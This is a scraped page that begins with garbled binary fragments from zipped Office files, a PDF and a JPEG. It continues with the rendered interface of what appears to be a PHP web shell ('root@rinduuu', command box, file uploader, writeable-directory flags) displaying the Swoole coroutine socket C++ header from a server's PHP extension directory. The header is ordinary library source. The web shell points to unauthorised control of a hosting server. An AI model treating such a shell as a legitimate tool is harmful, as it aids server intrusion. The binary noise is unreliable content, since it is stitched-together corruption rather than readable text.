œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /opt/cloudlinux/alt-php73/root/usr/include/php/ext/swoole/include/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //opt/cloudlinux/alt-php73/root/usr/include/php/ext/swoole/include/swoole_coroutine_socket.h
/*
  +----------------------------------------------------------------------+
  | Swoole                                                               |
  +----------------------------------------------------------------------+
  | This source file is subject to version 2.0 of the Apache license,    |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | http://www.apache.org/licenses/LICENSE-2.0.html                      |
  | If you did not receive a copy of the Apache2.0 license and are unable|
  | to obtain it through the world-wide-web, please send a note to       |
  | license@swoole.com so we can mail you a copy immediately.            |
  +----------------------------------------------------------------------+
  | Author: Tianfeng Han  <rango@swoole.com>                             |
  |         Twosee  <twose@qq.com>                                       |
  +----------------------------------------------------------------------+
*/

#pragma once

#include "swoole.h"
#include "swoole_api.h"
#include "swoole_socket.h"
#include "swoole_coroutine.h"
#include "swoole_protocol.h"
#include "swoole_proxy.h"

#include <vector>

namespace swoole {
namespace coroutine {
//-------------------------------------------------------------------------------
/**
 * @return true: continue to wait for events
 * @return false: stop event waiting and resume coroutine
 */
using EventBarrier = std::function<bool()>;

class Socket {
  public:
    int errCode = 0;
    const char *errMsg = "";
    std::string errString;

    bool open_length_check = false;
    bool open_eof_check = false;
    bool http2 = false;

    Protocol protocol = {};
    Socks5Proxy *socks5_proxy = nullptr;
    HttpProxy *http_proxy = nullptr;

    enum TimeoutType {
        TIMEOUT_DNS = 1 << 0,
        TIMEOUT_CONNECT = 1 << 1,
        TIMEOUT_READ = 1 << 2,
        TIMEOUT_WRITE = 1 << 3,
        TIMEOUT_RDWR = TIMEOUT_READ | TIMEOUT_WRITE,
        TIMEOUT_ALL = TIMEOUT_DNS | TIMEOUT_CONNECT | TIMEOUT_RDWR,
    };

    static enum TimeoutType timeout_type_list[4];

    Socket(int domain, int type, int protocol);
    Socket(int _fd, int _domain, int _type, int _protocol);
    Socket(SocketType type = SW_SOCK_TCP);
    Socket(int _fd, SocketType _type);
    ~Socket();
    bool connect(std::string host, int port, int flags = 0);
    bool connect(const struct sockaddr *addr, socklen_t addrlen);
    bool shutdown(int how = SHUT_RDWR);
    bool cancel(const EventType event);
    bool close();

    inline bool is_connected() {
        return connected && !closed;
    }

    bool is_closed() {
        return closed;
    }

    bool check_liveness();
    ssize_t peek(void *__buf, size_t __n);
    ssize_t recv(void *__buf, size_t __n);
    ssize_t send(const void *__buf, size_t __n);

    inline ssize_t send(const std::string &buf) {
        return send(buf.c_str(), buf.length());
    }

    ssize_t read(void *__buf, size_t __n);
    ssize_t write(const void *__buf, size_t __n);
    ssize_t readv(network::IOVector *io_vector);
    ssize_t readv_all(network::IOVector *io_vector);
    ssize_t writev(network::IOVector *io_vector);
    ssize_t writev_all(network::IOVector *io_vector);
    ssize_t recvmsg(struct msghdr *msg, int flags);
    ssize_t sendmsg(const struct msghdr *msg, int flags);
    ssize_t recv_all(void *__buf, size_t __n);
    ssize_t send_all(const void *__buf, size_t __n);
    ssize_t recv_packet(double timeout = 0);
    ssize_t recv_line(void *__buf, size_t maxlen);
    ssize_t recv_with_buffer(void *__buf, size_t __n);

    inline char *pop_packet() {
        if (read_buffer->offset == 0) {
            return nullptr;
        } else {
            return read_buffer->pop(buffer_init_size);
        }
    }

    bool poll(EventType type);
    Socket *accept(double timeout = 0);
    bool bind(std::string address, int port = 0);
    bool bind(const struct sockaddr *sa, socklen_t len);
    bool listen(int backlog = 0);
    bool sendfile(const char *filename, off_t offset, size_t length);
    ssize_t sendto(const std::string &host, int port, const void *__buf, size_t __n);
    ssize_t recvfrom(void *__buf, size_t __n);
    ssize_t recvfrom(void *__buf, size_t __n, struct sockaddr *_addr, socklen_t *_socklen);

#ifdef SW_USE_OPENSSL
    /**
     * Operation sequence:
     * 1. enable_ssl_encrypt()
     * 2. Set SSL parameters, such as certificate file, key file
     * 3. ssl_check_context()
     * 4. ssl_accept()/ssl_connect()/ssl_handshake()
     */
    bool enable_ssl_encrypt() {
        if (ssl_context.get()) {
            return false;
        }
        ssl_context.reset(new SSLContext());
        return true;
    }

    bool ssl_is_enable() {
        return get_ssl_context() != nullptr;
    }

    SSLContext *get_ssl_context() {
        return ssl_context.get();
    }

    bool ssl_check_context();
    bool ssl_handshake();
    bool ssl_verify(bool allow_self_signed);
    std::string ssl_get_peer_cert();
#endif

    static inline void init_reactor(Reactor *reactor) {
        reactor->set_handler(SW_FD_CO_SOCKET | SW_EVENT_READ, readable_event_callback);
        reactor->set_handler(SW_FD_CO_SOCKET | SW_EVENT_WRITE, writable_event_callback);
        reactor->set_handler(SW_FD_CO_SOCKET | SW_EVENT_ERROR, error_event_callback);
    }

    inline SocketType get_type() {
        return type;
    }

    inline FdType get_fd_type() {
        return socket->fd_type;
    }

    inline int get_sock_domain() {
        return sock_domain;
    }

    inline int get_sock_type() {
        return sock_type;
    }

    inline int get_sock_protocol() {
        return sock_protocol;
    }

    inline int get_fd() {
        return sock_fd;
    }

    inline int get_bind_port() {
        return bind_port;
    }

    inline network::Socket *get_socket() {
        return socket;
    }

    bool getsockname(network::Address *sa);
    bool getpeername(network::Address *sa);

    inline const char *get_ip() {
        return socket->info.get_ip();
    }

    inline int get_port() {
        return socket->info.get_port();
    }

    inline bool has_bound(const EventType event = SW_EVENT_RDWR) {
        return get_bound_co(event) != nullptr;
    }

    inline Coroutine *get_bound_co(const EventType event) {
        if (event & SW_EVENT_READ) {
            if (read_co) {
                return read_co;
            }
        }
        if (event & SW_EVENT_WRITE) {
            if (write_co) {
                return write_co;
            }
        }
        return nullptr;
    }

    inline long get_bound_cid(const EventType event = SW_EVENT_RDWR) {
        Coroutine *co = get_bound_co(event);
        return co ? co->get_cid() : 0;
    }

    const char *get_event_str(const EventType event) {
        if (event == SW_EVENT_READ) {
            return "reading";
        } else if (event == SW_EVENT_WRITE) {
            return "writing";
        } else {
            return read_co && write_co ? "reading or writing" : (read_co ? "reading" : "writing");
        }
    }

    inline void check_bound_co(const EventType event) {
        long cid = get_bound_cid(event);
        if (sw_unlikely(cid)) {
            swoole_fatal_error(SW_ERROR_CO_HAS_BEEN_BOUND,
                               "Socket#%d has already been bound to another coroutine#%ld, "
                               "%s of the same socket in coroutine#%ld at the same time is not allowed",
                               sock_fd,
                               cid,
                               get_event_str(event),
                               Coroutine::get_current_cid());
        }
    }

    inline void set_err(int e) {
        errCode = errno = e;
        swoole_set_last_error(errCode);
        errMsg = e ? swoole_strerror(e) : "";
    }

    inline void set_err(int e, const char *s) {
        errCode = errno = e;
        swoole_set_last_error(errCode);
        errMsg = s;
    }

    inline void set_err(int e, std::string s) {
        errCode = errno = e;
        swoole_set_last_error(errCode);
        errString = s;
        errMsg = errString.c_str();
    }

    /* set connect read write timeout */
    inline void set_timeout(double timeout, int type = TIMEOUT_ALL) {
        if (timeout == 0) {
            return;
        }
        if (type & TIMEOUT_DNS) {
            dns_timeout = timeout;
        }
        if (type & TIMEOUT_CONNECT) {
            connect_timeout = timeout;
        }
        if (type & TIMEOUT_READ) {
            read_timeout = timeout;
        }
        if (type & TIMEOUT_WRITE) {
            write_timeout = timeout;
        }
    }

    inline void set_timeout(struct timeval *timeout, int type = TIMEOUT_ALL) {
        set_timeout((double) timeout->tv_sec + ((double) timeout->tv_usec / 1000 / 1000), type);
    }

    inline double get_timeout(enum TimeoutType type = TIMEOUT_ALL) {
        SW_ASSERT_1BYTE(type);
        if (type == TIMEOUT_DNS) {
            return dns_timeout;
        } else if (type == TIMEOUT_CONNECT) {
            return connect_timeout;
        } else if (type == TIMEOUT_READ) {
            return read_timeout;
        } else if (type == TIMEOUT_WRITE) {
            return write_timeout;
        } else {
            assert(0);
            return -1;
        }
    }

    inline bool set_option(int level, int optname, int optval) {
        if (socket->set_option(level, optname, optval) < 0) {
            swoole_sys_warning("setsockopt(%d, %d, %d, %d) failed", sock_fd, level, optname, optval);
            return false;
        }
        return true;
    }

    inline String *get_read_buffer() {
        if (sw_unlikely(!read_buffer)) {
            read_buffer = make_string(SW_BUFFER_SIZE_BIG, buffer_allocator);
            if (!read_buffer) {
                throw std::bad_alloc();
            }
        }
        return read_buffer;
    }

    inline String *get_write_buffer() {
        if (sw_unlikely(!write_buffer)) {
            write_buffer = make_string(SW_BUFFER_SIZE_BIG, buffer_allocator);
            if (!write_buffer) {
                throw std::bad_alloc();
            }
        }
        return write_buffer;
    }

    inline String *pop_read_buffer() {
        if (sw_unlikely(!read_buffer)) {
            return nullptr;
        }
        auto tmp = read_buffer;
        read_buffer = nullptr;
        return tmp;
    }

    inline String *pop_write_buffer() {
        if (sw_unlikely(!write_buffer)) {
            return nullptr;
        }
        auto tmp = write_buffer;
        write_buffer = nullptr;
        return tmp;
    }

    inline void set_zero_copy(bool enable) {
        zero_copy = enable;
    }

    inline void set_buffer_allocator(const Allocator *allocator) {
        buffer_allocator = allocator;
    }

    inline void set_buffer_init_size(size_t size) {
        if (size == 0) {
            return;
        }
        buffer_init_size = size;
    }

    int move_fd() {
        int sockfd = socket->fd;
        socket->fd = -1;
        return sockfd;
    }

    network::Socket *move_socket() {
        network::Socket *_socket = socket;
        socket = nullptr;
        return _socket;
    }

#ifdef SW_USE_OPENSSL
    inline bool ssl_is_available() {
        return socket && ssl_handshaked;
    }

    SSL *get_ssl() {
        return socket->ssl;
    }

    bool ssl_shutdown();
#endif

  private:
    SocketType type;
    network::Socket *socket = nullptr;
    int sock_domain = 0;
    int sock_type = 0;
    int sock_protocol = 0;
    int sock_fd = -1;

    Coroutine *read_co = nullptr;
    Coroutine *write_co = nullptr;
#ifdef SW_USE_OPENSSL
    EventType want_event = SW_EVENT_NULL;
#endif

    std::string connect_host;
    int connect_port = 0;

    std::string bind_address;
    int bind_port = 0;
    int backlog = 0;

    double dns_timeout = network::Socket::default_dns_timeout;
    double connect_timeout = network::Socket::default_connect_timeout;
    double read_timeout = network::Socket::default_read_timeout;
    double write_timeout = network::Socket::default_write_timeout;
    TimerNode *read_timer = nullptr;
    TimerNode *write_timer = nullptr;

    const Allocator *buffer_allocator = nullptr;
    size_t buffer_init_size = SW_BUFFER_SIZE_BIG;
    String *read_buffer = nullptr;
    String *write_buffer = nullptr;
    network::Address bind_address_info = {};

    EventBarrier *recv_barrier = nullptr;
    EventBarrier *send_barrier = nullptr;

#ifdef SW_USE_OPENSSL
    bool ssl_is_server = false;
    bool ssl_handshaked = false;
    std::shared_ptr<SSLContext> ssl_context = nullptr;
    std::string ssl_host_name;
    bool ssl_create(SSLContext *ssl_context);
#endif

    bool connected = false;
    bool shutdown_read = false;
    bool shutdown_write = false;
    bool closed = false;

    bool zero_copy = false;

    Socket(network::Socket *sock, Socket *socket);

    static void timer_callback(Timer *timer, TimerNode *tnode);
    static int readable_event_callback(Reactor *reactor, Event *event);
    static int writable_event_callback(Reactor *reactor, Event *event);
    static int error_event_callback(Reactor *reactor, Event *event);

    inline void init_sock_type(SocketType _type);
    inline bool init_sock();
    bool init_reactor_socket(int fd);

    void check_return_value(ssize_t retval) {
        if (retval >= 0) {
            set_err(0);
        } else if (errCode == 0) {
            set_err(errno);
        }
    }

    inline void init_options() {
        if (type == SW_SOCK_TCP || type == SW_SOCK_TCP6) {
            set_option(IPPROTO_TCP, TCP_NODELAY, 1);
        }
        protocol.package_length_type = 'N';
        protocol.package_length_size = 4;
        protocol.package_length_offset = 0;
        protocol.package_body_offset = 0;
        protocol.package_max_length = SW_INPUT_BUFFER_SIZE;
    }

    bool add_event(const EventType event);
    bool wait_event(const EventType event, const void **__buf = nullptr, size_t __n = 0);

    ssize_t recv_packet_with_length_protocol();
    ssize_t recv_packet_with_eof_protocol();

    inline bool is_available(const EventType event) {
        if (event != SW_EVENT_NULL) {
            check_bound_co(event);
        }
        if (sw_unlikely(closed)) {
            set_err(ECONNRESET);
            return false;
        }
        return true;
    }

    bool socks5_handshake();
    bool http_proxy_handshake();

    class TimerController {
      public:
        TimerController(TimerNode **timer_pp, double timeout, Socket *sock, TimerCallback callback)
            : timer_pp(timer_pp), timeout(timeout), socket_(sock), callback(callback) {}
        bool start() {
            if (timeout != 0 && !*timer_pp) {
                enabled = true;
                if (timeout > 0) {
                    *timer_pp = swoole_timer_add(timeout, false, callback, socket_);
                    return *timer_pp != nullptr;
                }
                *timer_pp = (TimerNode *) -1;
            }
            return true;
        }
        ~TimerController() {
            if (enabled && *timer_pp) {
                if (*timer_pp != (TimerNode *) -1) {
                    swoole_timer_del(*timer_pp);
                }
                *timer_pp = nullptr;
            }
        }

      private:
        bool enabled = false;
        TimerNode **timer_pp;
        double timeout;
        Socket *socket_;
        TimerCallback callback;
    };

  public:
    class TimeoutSetter {
      public:
        TimeoutSetter(Socket *socket, double timeout, const enum TimeoutType type)
            : socket_(socket), timeout(timeout), type(type) {
            if (timeout == 0) {
                return;
            }
            for (uint8_t i = 0; i < SW_ARRAY_SIZE(timeout_type_list); i++) {
                if (type & timeout_type_list[i]) {
                    original_timeout[i] = socket->get_timeout(timeout_type_list[i]);
                    if (timeout != original_timeout[i]) {
                        socket->set_timeout(timeout, timeout_type_list[i]);
                    }
                }
            }
        }
        ~TimeoutSetter() {
            if (timeout == 0) {
                return;
            }
            for (uint8_t i = 0; i < SW_ARRAY_SIZE(timeout_type_list); i++) {
                if (type & timeout_type_list[i]) {
                    if (timeout != original_timeout[i]) {
                        socket_->set_timeout(original_timeout[i], timeout_type_list[i]);
                    }
                }
            }
        }

      protected:
        Socket *socket_;
        double timeout;
        enum TimeoutType type;
        double original_timeout[sizeof(timeout_type_list)] = {};
    };

    class timeout_controller : public TimeoutSetter {
      public:
        timeout_controller(Socket *socket, double timeout, const enum TimeoutType type)
            : TimeoutSetter(socket, timeout, type) {}
        inline bool has_timedout(const enum TimeoutType type) {
            SW_ASSERT_1BYTE(type);
            if (timeout > 0) {
                if (sw_unlikely(startup_time == 0)) {
                    startup_time = microtime();
                } else {
                    double used_time = microtime() - startup_time;
                    if (sw_unlikely(timeout - used_time < SW_TIMER_MIN_SEC)) {
                        socket_->set_err(ETIMEDOUT);
                        return true;
                    }
                    socket_->set_timeout(timeout - used_time, type);
                }
            }
            return false;
        }

      protected:
        double startup_time = 0;
    };
};

class ProtocolSwitch {
  private:
    bool ori_open_eof_check;
    bool ori_open_length_check;
    Protocol ori_protocol;
    Socket *socket_;

  public:
    ProtocolSwitch(Socket *socket) {
        ori_open_eof_check = socket->open_eof_check;
        ori_open_length_check = socket->open_length_check;
        ori_protocol = socket->protocol;
        socket_ = socket;
    }

    ~ProtocolSwitch() {
        /* revert protocol settings */
        socket_->open_eof_check = ori_open_eof_check;
        socket_->open_length_check = ori_open_length_check;
        socket_->protocol = ori_protocol;
    }
};

std::vector<std::string> dns_lookup(const char *domain, int family = AF_INET, double timeout = 2.0);
std::vector<std::string> dns_lookup_impl_with_socket(const char *domain, int family, double timeout);
#ifdef SW_USE_CARES
std::vector<std::string> dns_lookup_impl_with_cares(const char *domain, int family, double timeout);
#endif
std::string get_ip_by_hosts(const std::string &domain);
//-------------------------------------------------------------------------------
}  // namespace coroutine
}  // namespace swoole

swoole::coroutine::Socket *swoole_coroutine_get_socket_object(int sockfd);

........